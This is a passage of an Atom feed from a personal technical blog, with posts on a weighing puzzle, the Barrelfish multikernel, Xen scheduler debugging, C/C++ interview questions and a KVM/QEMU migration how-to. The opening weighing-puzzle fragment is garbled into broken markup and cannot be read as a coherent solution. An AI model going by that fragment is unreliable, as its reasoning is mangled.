a1b2=""&gt;&lt;/b一致，所以不可能出现b1轻&gt;&lt;/b,(大于一样的，ab字母switch而已)&gt;&lt;br /&gt;&lt;b,(大于一样的，ab字母switch而已) a2b2b3="" a1b1c1="" a3a4="" b4="" vs="" c1c2="" if="" a3b4=""&gt;&lt;b一致，所以不可能出现b1轻 either="" a1="" light="" or="" b2b3="" heavy="" vs="" if="" a1b2=""&gt;-----------------------------&lt;/b一致，所以不可能出现b1轻&gt;&lt;/b,(大于一样的，ab字母switch而已)&gt;&lt;br /&gt;&lt;b,(大于一样的，ab字母switch而已) a2b2b3="" a1b1c1="" a3a4="" b4="" vs="" c1c2="" if="" a3b4=""&gt;&lt;b一致，所以不可能出现b1轻 either="" a1="" light="" or="" b2b3="" heavy="" vs="" if="" a1b2=""&gt;还有8球问题，比较简单，分成332，先比较33就可以了。&lt;/b一致，所以不可能出现b1轻&gt;&lt;/b,(大于一样的，ab字母switch而已)&gt;&lt;br /&gt;&lt;b,(大于一样的，ab字母switch而已) a2b2b3="" a1b1c1="" a3a4="" b4="" vs="" c1c2="" if="" a3b4=""&gt;&lt;b一致，所以不可能出现b1轻 either="" a1="" light="" or="" b2b3="" heavy="" vs="" if="" a1b2=""&gt;这一题好像要知道坏球是重还是轻才行。&lt;/b一致，所以不可能出现b1轻&gt;&lt;/b,(大于一样的，ab字母switch而已)&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-9197450552265019988?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/9197450552265019988/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/09/12.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/9197450552265019988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/9197450552265019988'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/09/12.html' title='12球称重问题'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-524285369425059363</id><published>2009-09-11T12:21:00.000-07:00</published><updated>2009-09-11T21:50:49.629-07:00</updated><title type='text'>Multikernel</title><content type='html'>Cache coherence become a problem with the increase of cores.&lt;br /&gt;&lt;br /&gt;Using message passing instead of shared memory can solve the problem.&lt;br /&gt;&lt;br /&gt;http://docs.google.com/present/view?id=dc3nqpnt_19hsg376hs&lt;br /&gt;&lt;br /&gt;try to explain slide 21,&lt;br /&gt;&lt;br /&gt;Broadcast vs Multicast:&lt;br /&gt;&lt;br /&gt;TLB shootdown – the process of maintaining TLB consistency&lt;br /&gt;by invalidating entries when pages are unmapped&lt;br /&gt;– is one of the simplest operations in a multiprocessor&lt;br /&gt;&lt;div id="sp" style="margin: 0pt; padding: 0pt; position: relative; top: 2em;"&gt;&lt;div dir="ltr"&gt;&lt;div&gt;OS that requires global coordination. It is also&lt;br /&gt;a short, but latency-critical, operation and so represents&lt;br /&gt;a worst-case comparison for a multikernel.&lt;br /&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Broadcast performs badly due to the cache-coherence protocol used&lt;br /&gt;by AMD64 processors. When the master updates the line, it is invalidated&lt;br /&gt;in all other caches. Each slave core then pulls the new copy from the master’s&lt;br /&gt;cache. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;Multicast protocol, the master sends a URPC message to the first core of each processor,&lt;br /&gt;&lt;div&gt;which forwards it to the other three cores in the package.&lt;br /&gt;Since they all share an L3 cache, this second message is much cheaper.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;IP Loopback&lt;br /&gt;&lt;/div&gt;Table 4 shows that Barrelfish achieves higher throughput,&lt;br /&gt;fewer cache misses, and lower interconnect utilization,&lt;br /&gt;particularly in the reverse direction from sink to&lt;br /&gt;source. This occurs because sending packets as URPC&lt;br /&gt;messages avoids any shared-memory other than the&lt;br /&gt;URPC channel and packet payload; conversely, Linux&lt;br /&gt;causes more cache-coherence traffic for shared-memory&lt;br /&gt;synchronization.&lt;br /&gt;Barrelfish also benefits by avoiding kernel crossings.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-524285369425059363?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/524285369425059363/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/09/multikernel.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/524285369425059363'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/524285369425059363'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/09/multikernel.html' title='Multikernel'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-5246166411282827805</id><published>2009-09-09T12:05:00.000-07:00</published><updated>2009-09-09T12:14:16.551-07:00</updated><title type='text'>AICT new problem</title><content type='html'>I got into two problems right now with AICT&lt;br /&gt;AICT Performance not as good as expected.&lt;br /&gt;&lt;br /&gt;1.&lt;br /&gt;&lt;br /&gt;S CPU1              T CPU2&lt;br /&gt;I get the same performance(7300tran/s) with raise_softirq to T.&lt;br /&gt;with aict I cannot get any performance improvement.&lt;br /&gt;&lt;br /&gt;Since at CPU 2 side , T with C1 and C2 are competing for&lt;br /&gt;CPU resources, with aict, T should get some kind of priority&lt;br /&gt;hence smaller&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.&lt;br /&gt;If I give up CPU at Target side right after target finish its I/O&lt;br /&gt;shedule() doesn't take effect as I expected.&lt;br /&gt;Problem: xenloop doesn't know when target should give up&lt;br /&gt;cpu during xmit_packets().&lt;br /&gt;&lt;br /&gt;Task: to find after schedule(), when could S get schduled&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-5246166411282827805?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/5246166411282827805/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/09/aict-new-problem.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5246166411282827805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5246166411282827805'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/09/aict-new-problem.html' title='AICT new problem'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-7180466468200577420</id><published>2009-05-12T13:17:00.000-07:00</published><updated>2009-05-12T13:23:09.729-07:00</updated><title type='text'>AICT debug printk would help</title><content type='html'>I stuck with a problem for 2 weeks. Just found out that basic printk would give me&lt;br /&gt;why it happens.&lt;br /&gt;Problem description:&lt;br /&gt;Start 2 VM would panic at insert_vcpu BUG_ON&lt;br /&gt;complaining VCPU already in the runqueue.&lt;br /&gt;&lt;br /&gt;Just printk at&lt;br /&gt;insert_vcpu to see whether it is aict context&lt;br /&gt;        if (per_cpu(schedule_data, cpu).aict_source)&lt;br /&gt;            printk("source domid= %d \n", per_cpu(schedule_data, cpu).aict_source-&gt;domain-&gt;domain_id);&lt;br /&gt;        if (per_cpu(schedule_data, cpu).aict_target)&lt;br /&gt;            printk("target domid= %d \n", per_cpu(schedule_data, cpu).aict_target-&gt;domain-&gt;domain_id);&lt;br /&gt;&lt;br /&gt;Should take the lesson and review the problem next time.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-7180466468200577420?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/7180466468200577420/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/05/aict-debug-printk-would-help.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7180466468200577420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7180466468200577420'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/05/aict-debug-printk-would-help.html' title='AICT debug printk would help'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-4655383607353157314</id><published>2009-03-28T16:49:00.000-07:00</published><updated>2009-11-15T20:06:13.039-08:00</updated><title type='text'>interview questions</title><content type='html'>e) 一个有10个指针的数组，该指针是指向一个整型数的（An array of 10 pointers to integers）&lt;br /&gt;f) 一个指向有10个整型数数组的指针（A pointer to an array of 10 integers）&lt;br /&gt;g) 一个指向函数的指针，该函数有一个整型参数并返回一个整型数（A pointer to a function that takes an integer as an argument and returns an integer）&lt;br /&gt;h) 一个有10个指针的数组，该指针指向一个函数，该函数有一个整型参数并返回一个整型数（ An array of ten pointers to functions that take an integer argument and return an integer ）&lt;br /&gt;&lt;br /&gt;答案是：&lt;br /&gt;e) int *a[10]; // An array of 10 pointers to integers&lt;br /&gt;f) int (*a)[10]; // A pointer to an array of 10 integers&lt;br /&gt;g) int (*a)(int); // A pointer to a function a that takes an integer argument and returns an integer&lt;br /&gt;h) int (*a[10])(int); // An array of 10 pointers to functions that take an integer argument and return an integer &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;int main(void) {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; typedef union {long i; int k[5]; char c;} DATE;&lt;br /&gt; struct date { int cat; DATE cow; double dog;} too;&lt;br /&gt; DATE max;&lt;br /&gt; int b[5];&lt;br /&gt; printf("struct %d\n", sizeof(struct date) );&lt;br /&gt; printf("union %d\n", sizeof(DATE));&lt;br /&gt; printf("double %d\n", sizeof(double));&lt;br /&gt; printf("long %d\n", sizeof(long));&lt;br /&gt; printf("array int %d\n", sizeof(b));&lt;br /&gt; //actual result is  40 24 8 8 20&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;sizeof&lt;br /&gt;long 8, double 8, long long 8, short 2&lt;br /&gt;64位机上测试的结果:&lt;br /&gt;Summary: struct and union has common point, 大小永远为里面最大类型(max=8)的倍数,&lt;br /&gt;struct 按照最大类型的大小来判断是否需要补齐。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-4655383607353157314?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/4655383607353157314/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/09/interview-questions.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/4655383607353157314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/4655383607353157314'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/09/interview-questions.html' title='interview questions'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-7616803677023406456</id><published>2009-03-21T17:04:00.000-07:00</published><updated>2010-03-21T17:24:54.481-07:00</updated><title type='text'>install KVM using QEMU</title><content type='html'>Insert kvm.ko &amp;&amp; (kvm-amd.ko || kvm-intel.ko)&lt;br /&gt;&lt;br /&gt;Install qemu-kvm&lt;br /&gt;&lt;br /&gt;Creating a vdisk&lt;br /&gt;&lt;pre&gt;qemu-img create -f qcow2 vdisk.img 10G&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Booting from ISO&lt;br /&gt;&lt;pre&gt;qemu-system-x86_64 -hda vdisk.img -cdrom /vmroot/ftp/ubuntu-9.04-desktop-amd64.iso -boot d -m 384 -usbdevice tablet -vnc :1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;where -boot [a|c|d|n] boot from floppy (a), hard disk (c), CD-ROM (d), or network (n)&lt;br /&gt;-m is RAM size in MBs&lt;br /&gt;&lt;br /&gt;Follow the normal OS installation procedure.&lt;br /&gt;&lt;br /&gt;To get the network working&lt;br /&gt;&lt;pre&gt;#in file /etc/network/interfaces&lt;br /&gt;&lt;br /&gt;auto eth0&lt;br /&gt;iface eth0 inet manual&lt;br /&gt;&lt;br /&gt;auto br0&lt;br /&gt;iface br0 inet static&lt;br /&gt;address 10.128.0.20&lt;br /&gt;netmask 255.255.0.0&lt;br /&gt;broadcast 10.128.255.255&lt;br /&gt;gateway 10.128.0.1&lt;br /&gt;bridge_ports eth0&lt;br /&gt;bridge_fd 0&lt;br /&gt;bridge_maxwait 0&lt;br /&gt;bridge_stp off&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Creating a qtap device and adding it to the bridge&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;sudo modprobe tun&lt;br /&gt;sudo tunctl -b -u root -t qtap0&lt;br /&gt;sudo brctl addif br0 qtap0&lt;br /&gt;sudo ifconfig qtap0 up 0.0.0.0 promisc&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now we will have network ready by configuring /etc/network/interfaces in the guest.&lt;br /&gt;&lt;br /&gt;Booting up the VM (We will call the first machine as source and the machine where we are going to migrate the VM as destination)&lt;br /&gt;Make sure you have vncserver installed on both source and destination machines.&lt;br /&gt;&lt;pre&gt;qemu-system-x86_64 -hda vdisk.img -net nic,macaddr=52:54:00:39:81:49 -net tap,ifname=qtap0,script=no,downscript=no -vnc :1 -usbdevice tablet (On source machine)&lt;br /&gt;vncviewer &lt;source_host ip&gt;:5901 (On your desktop)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;To migrate the VM&lt;br /&gt;On target side execute following command to start the blank window.&lt;br /&gt;&lt;pre&gt;qemu-system-x86_64 -hda vdisk.img -net nic,macaddr=52:54:00:39:81:49 -net tap,ifname=qtap0,script=no,downscript=no -incoming tcp:0:4444 -vnc :1 -usbdevice tablet&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;press Ctrl+Alt+2 to switch to qemu console and execute following command to migrate the VM.&lt;br /&gt;&lt;pre&gt;migrate -d tcp:&lt;target ip&gt;:&lt;port&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;After the migration we can connect to 5901 port of the destination host through vncviewer by executing following command on your desktop machine.&lt;br /&gt;&lt;pre&gt;vncviewer &lt;destination_host ip&gt;:5901&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-7616803677023406456?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/7616803677023406456/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2010/03/install-kvm-using-qemu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7616803677023406456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7616803677023406456'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2010/03/install-kvm-using-qemu.html' title='install KVM using QEMU'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-714316545421205696</id><published>2009-01-29T12:09:00.000-08:00</published><updated>2009-11-15T20:06:37.527-08:00</updated><title type='text'>C++ static variable and static function</title><content type='html'>1.static variable  can only be declared inside class&lt;br /&gt;cannot initialized inside class&lt;br /&gt;and it must be initialized after class.&lt;br /&gt;&lt;br /&gt;2. static func can only access static variable&lt;br /&gt;other functions inside class can access static variable freely&lt;br /&gt;&lt;br /&gt;3. static variable can be private/public&lt;br /&gt;when it is private, it cannnot be accessed via &lt;br /&gt;Base::var = 0;&lt;br /&gt;&lt;br /&gt;4.A static member function cannot have access to the 'this' &lt;br /&gt;pointer of the class&lt;br /&gt;&lt;br /&gt;5.Do not declare a static member function as virtual!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-714316545421205696?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/714316545421205696/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/09/c-static-variable-and-static-function.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/714316545421205696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/714316545421205696'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/09/c-static-variable-and-static-function.html' title='C++ static variable and static function'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-816379776127213971</id><published>2008-11-29T19:11:00.000-08:00</published><updated>2009-11-15T20:07:08.914-08:00</updated><title type='text'>overload question</title><content type='html'>&lt;pre&gt;&lt;br /&gt;#include &lt;iostream&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;class C1 {&lt;br /&gt;public:&lt;br /&gt;        int a;&lt;br /&gt;public:&lt;br /&gt;        C1(){ &lt;br /&gt;                a = 2; &lt;br /&gt;        }&lt;br /&gt;        virtual int getA() {&lt;br /&gt;                return a;&lt;br /&gt;        }&lt;br /&gt;        int f(C1* c) {&lt;br /&gt;                return c-&gt;a + c-&gt;getA();&lt;br /&gt;        }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;class C2 : public C1 {&lt;br /&gt;public:&lt;br /&gt;        int a;&lt;br /&gt;public:&lt;br /&gt;        C2(){ &lt;br /&gt;                a = 3; &lt;br /&gt;        }&lt;br /&gt;        int getA() {&lt;br /&gt;                return a;&lt;br /&gt;        }&lt;br /&gt;        int f(C2* c) {&lt;br /&gt;                return c-&gt;a + c-&gt;getA();&lt;br /&gt;        }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main() {&lt;br /&gt;&lt;br /&gt;        C1 *c1 = new C1();&lt;br /&gt;        C2 *c2 = new C2();&lt;br /&gt;        C1 *c3 = c2;&lt;br /&gt;&lt;br /&gt;        cout&lt;c1-&gt;f(c1)  endl;&lt;br /&gt;        cout&lt;c1-&gt;f(c2)  endl;&lt;br /&gt;        cout&lt;c1-&gt;f(c3)  endl;&lt;br /&gt;&lt;br /&gt;//      cout&lt;c2-&gt;f(c1) endl;//wrong class c2 cannot accept base pointer  &lt;br /&gt;        cout&lt;c2-&gt;f(c2) endl;&lt;br /&gt;//      cout&lt;c2-&gt;f(c3) endl;&lt;br /&gt;&lt;br /&gt;        cout&lt;c3-&gt;f(c1) endl;&lt;br /&gt;        cout&lt;c3-&gt;f(c2) endl;&lt;br /&gt;        cout&lt;c3-&gt;f(c3) endl;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        delete c1;&lt;br /&gt;        delete c2;&lt;br /&gt;&lt;br /&gt;        return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The result is:&lt;br /&gt;4&lt;br /&gt;5//because c-&gt;a =2 static binding  c-&gt;getA() virtual function using C2-&gt;getA() 3&lt;br /&gt;5&lt;br /&gt;&lt;br /&gt;6&lt;br /&gt;&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;5&lt;br /&gt;&lt;br /&gt; without virtual function the result would be&lt;br /&gt;&lt;br /&gt;4&lt;br /&gt;4//static binding all point to Base var and func&lt;br /&gt;4&lt;br /&gt;&lt;br /&gt;6&lt;br /&gt;4&lt;br /&gt;4&lt;br /&gt;4&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-816379776127213971?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/816379776127213971/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/09/overload-question.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/816379776127213971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/816379776127213971'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/09/overload-question.html' title='overload question'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-5498045562117430587</id><published>2008-05-11T12:30:00.000-07:00</published><updated>2009-11-15T20:07:42.710-08:00</updated><title type='text'>Process Memory layout</title><content type='html'>Text&lt;br /&gt;&lt;br /&gt;Data(Including initialized/uninit data)&lt;br /&gt;&lt;br /&gt;1.Initialized data&lt;br /&gt;&lt;br /&gt;2.BSS(uninitialized data)&lt;br /&gt;&lt;br /&gt;Heap&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Stack&lt;br /&gt;&lt;br /&gt;params&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-5498045562117430587?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/5498045562117430587/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/09/process-memory-layout.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5498045562117430587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5498045562117430587'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/09/process-memory-layout.html' title='Process Memory layout'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
